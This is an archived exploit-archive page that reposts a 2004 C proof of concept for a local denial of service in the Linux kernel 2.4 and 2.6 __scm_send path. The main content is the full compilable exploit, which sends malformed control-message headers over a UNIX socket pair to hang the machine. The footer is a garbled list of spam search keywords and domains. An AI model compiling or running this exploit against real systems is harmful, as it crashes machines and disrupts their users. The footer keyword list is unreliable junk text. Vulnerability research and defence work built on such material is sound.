about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit



2004-12-15 Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit
 

/*
 *	Linux kernel 2.4 & 2.6 __scm_send DoS
 *	Warning! this code will hang your machine
 *
 * gcc -O2 scmbang.c -o scmbang
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,
MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>



static char buf[1024];



void
fatal (const char *msg)
{
 printf ("\n");
 if (!errno)
 {
	 fprintf (stderr, "FATAL: %s\n", msg);
 }
 else
 {
	 perror (msg);
 }
 printf ("\n");
 fflush (stdout);
 fflush (stderr);
 exit (1);
}


int
main (void)
{
 int s[2], r;
 struct sockaddr_in sin;
 struct msghdr *msg;
 struct cmsghdr *cmsg;

 r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
 if (r < 0)
	fatal ("socketpair");

 memset (buf, 0, sizeof (buf));
 msg = (void *) buf;
 msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
 cmsg = (void *) msg->msg_control;

 cmsg->cmsg_len = sizeof (*cmsg);
 cmsg->cmsg_level = 0xdeadbebe;
 cmsg->cmsg_type = 12;	// len after overflow on second msg
 cmsg++;

// -12 for deadlock
 cmsg->cmsg_len = -12;
 cmsg->cmsg_level = SOL_IP;
 msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned)
msg->msg_control;
 r = sendmsg (s[0], msg, 0);
 if (r < 0)
	fatal ("sendmsg");

 printf ("\nYou lucky\n");
 fflush (stdout);

 return 0;
}
securitydot.net - 2004-12-15

Advertising

Copyright 2007, SecurityDot
Sat, 19 Dec 2009 07:49:13 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
IMail Serv dbsnmp 200 /compo sos07.6to2 GET /galle phpbb port DGL-43000 www.nba118 Mp.3free.C Www.SheSex Nak yuyu012.di news for c Tamil blue www.solik8 www.haozsw 200 /compo newssearch Www.SheSex www.sexboy Tom and je www.133lj. httpd 0.6. 1211hgf1.d www.hulula free saxy blog.sina. maxcpm.inf News Searc www.Nangab chailang.n avizoonsex ffhoto sex Vulnerabil Www.nakeds t195t www.fake8. Simbu naya new songs www.realzo news for c manjam.com BOOLYWOODS Wap thrick blackbarba Shakilaboo www.xxl.co www.0852gw X Windows 2.4.27-3-3